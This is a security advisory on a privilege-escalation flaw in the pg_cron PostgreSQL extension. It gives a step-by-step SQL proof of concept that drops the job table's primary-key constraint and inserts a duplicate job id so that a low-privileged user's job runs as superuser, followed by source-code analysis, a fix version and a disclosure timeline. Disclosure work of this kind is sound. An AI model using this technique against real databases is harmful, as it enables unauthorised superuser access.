Summary

A logical flaw in the pg_cron extension allows low-privileged users with ownership over pg_cron's job table or ability to change the value of cron.database_name to run arbitrary SQL queries as any user including superusers. This is also possible if superuser jobs are explicitly disabled. An attacker can bypass this restriction by removing the uniqueness constraint for the primary key of pg_cron's underlying job table and inserting two jobs with the same jobId (one running as e.g. low-priv-user and the other one running as superuser). Although the superuser job is denied, it is mistakenly executed when running the first job because hte jobId is used as a reference in pg_cron's internal data structures.

Severity

High - This vulnerability allows a lot privileged user to run arbitrary SQL commands in the context of superuser.

Proof of Concept

Enable pg_cron extension with background workers (postgresql.conf):

shared_preload_libraries = 'pg_cron'
cron.use_background_workers = on

Connect to database with superuser (e.g., postgres) and create pg_cron extension:

postgres=# CREATE EXTENSION pg_cron;

Create low-privileged user and grant usage access to cron schema:

postgres=# CREATE USER "low-priv-user";
postgres=# GRANT USAGE ON SCHEMA cron TO "low-priv-user";

Make the low-privileged user owner of the cron.job table (required for the low-privileged user to alter the table):

postgres=# ALTER TABLE cron.job OWNER to "low-priv-user";

Create a temporary table (we will write the output of CURRENT_USER here to verify our privileges):

postgres=# CREATE TABLE foo(bar TEXT);
postgres=# GRANT ALL PRIVILEGES ON TABLE foo TO "low-priv-user";

Switch to low-privileged user and schedule a legit job via cron.schedule:

postgres=# SET ROLE "low-priv-user";
postgres=> SELECT cron.schedule('legit-job', '* * * * *', 'INSERT INTO foo (bar) VALUES(CURRENT_USER)');

This adds an entry in the cron.job table:

postgres=> SELECT jobid, username, command FROM cron.job;

--------------------------------------------------------------------------
jobid	username		command
--------------------------------------------------------------------------
1	low-priv-user		INSERT INTO foo (bar) VALUES(CURRENT_USER)

Drop the uniqueness constraint from the primary key jobid:

postgres=> ALTER TABLE cron.job DROP CONSTRAINT job_pkey;

Now, we can insert another entry with the same jobid (username is set to postgres):

postgres=> INSERT INTO cron.job (jobid, schedule, nodename, nodeport, command, username) VALUES (1, '* * * * *', 'localhost', 5432, 'INSERT INTO foo(bar) VALUES(USER)', 'postgres');

At this point, there are two entries in the cron.job table with the same jobid. The second entry has the username set to postgres:

postgres=> SELECT jobid, username, command FROM cron.job;

--------------------------------------------------------------------------
jobid	username		command
--------------------------------------------------------------------------
1	low-priv-user		INSERT INTO foo (bar) VALUES(CURRENT_USER)
1	postgres		INSERT INTO foo (bar) VALUES(CURRENT_USER)

After the job has been executed, we can verify the CURRENT_USER output in the foo table:

postgres=> SELECT * FROM foo;

--------------------------------------------------------------------------
bar
--------------------------------------------------------------------------
postgres

Further Analysis

Recommendations

The superuser check should be done before storing the CronJob data structure in the CronJobHash hash table. Fixed version is available and should be updated to 1.6.5.

Technical Details

pg_cron uses a table called cron.job to store scheduled jobs (see here):

CREATE TABLE cron.job (
	jobid bigint primary key default pg_catalog.nextval('cron.jobid_seq'),
	[...]
	command text not null,
	[...]
	username text not null default current_user
);

A common entry in this table e.g. looks like this:

SELECT jobid, username, command FROM cron.job;

--------------------------------------------------------------------------
jobid	username		command
--------------------------------------------------------------------------
1	low-priv-user		SELECT 1

pg_cron loads these jobs from the table and stores them as a CronJob data structure in the CronJobHash hash table (see here):

static CronJob *
TupleToCronJob(TupleDesc tupleDescriptor, HeapTuple heapTuple)
{
    CronJob *job = NULL;
    [...]

    // HASH_ENTER: look up key in table, creating entry if not present
    job = hash_search(CronJobHash, &jobKey, HASH_ENTER, &isPresent);
    [...]

    job->jobId = DatumGetInt64(jobId);
    job->command = TextDatumGetCString(command);
    job->userName = TextDatumGetCString(userName);
    [...]

After a job has been stored in the CronJobHash hash table, there is a check if superuser-jobs are allowed (EnableSuperuserJobs) and if the job’s user is a superuser (see here):

// Job is stored in hash table here!
job = TupleToCronJob(tupleDescriptor, heapTuple);

// Check _after_ job creation
jobOwnerId = get_role_oid(job->userName, false);
if (!EnableSuperuserJobs && superuser_arg(jobOwnerId))
{
  /*
   * Someone inserted a superuser into the metadata. Skip over the
   * job when cron.enable_superuser_jobs is disabled. The memory
   * will be cleaned up when CronJobContext is reset.
     */
   ereport(WARNING, (errcode(ERRCODE_INSUFFICIENT_PRIVILEGE), errmsg("skipping job " INT64_FORMAT " since superuser jobs are currently disallowed", job->jobId)));
}

Only if the job is allowed (no superuser), it is added to the joblist:

    else
    {
        jobList = lappend(jobList, job);
    }

For allowed jobs, a corresponding CronTask data structure is created:

    jobList = LoadCronJobList();

    foreach(jobCell, jobList)
    {
        CronJob *job = (CronJob *) lfirst(jobCell);

        // creates a CronTask with the given jobId
        task = GetCronTask(job->jobId);
        [...]
    }

This CronTask references the corresponding CronJob via its jobId (see here):

    task->jobId = jobId;

When pg_cron executes a scheduled command, it operates on the CronTask data structure. The function ManageCronTask receives a CronTask and uses the jobId to get the related CronJob from the CronJobHash hash table via GetCronJob (see here):

static void
ManageCronTask(CronTask *task, TimestampTz currentTime)
{
    CronTaskState checkState = task->state;
    int64 jobId = task->jobId;
    // retrieve CronJob related to this CronTask
    CronJob *cronJob = GetCronJob(jobId);

The retrieved CronJob is then used to pass all information about the job (username, command, etc.) to the background worker via a shared memory (see here):

    username = shm_toc_allocate(toc, strlen(cronJob->userName) + 1);
    strcpy(username, cronJob->userName);
    shm_toc_insert(toc, PG_CRON_KEY_USERNAME, username);

    command = shm_toc_allocate(toc, strlen(cronJob->command) + 1);
    strcpy(command, cronJob->command);
    shm_toc_insert(toc, PG_CRON_KEY_COMMAND, command);

The background worker connects to the database with the given username and then executes the command:

BackgroundWorkerInitializeConnection(database, username, 0);
[...]

/* Execute the query. */
ExecuteSqlString(command);

This logic assumes that the jobId is unique since it uses this value as the key for the CronJobHash table. However, an attacker can remove the uniqueness constraint from the cron.job table and then add jobs with the same jobId.

Since the CronJob data structure is created before the superuser check is performed, an attacker can add a superuser job with the same jobId as a legitimate (non-superuser) job. This overwrites the entry of the legitimate CronJob in the CronJobHash hash table. Although no CronTask is created for the superuser job because of the failed check, the CronTask for the legitimate job now references the superuser job. This allows an attacker to run arbitrary SQL commands in the context of the superuser.

Timeline

Date reported: 12/03/2024
Date fixed: 12/12/2024
Date disclosed: 03/05/2025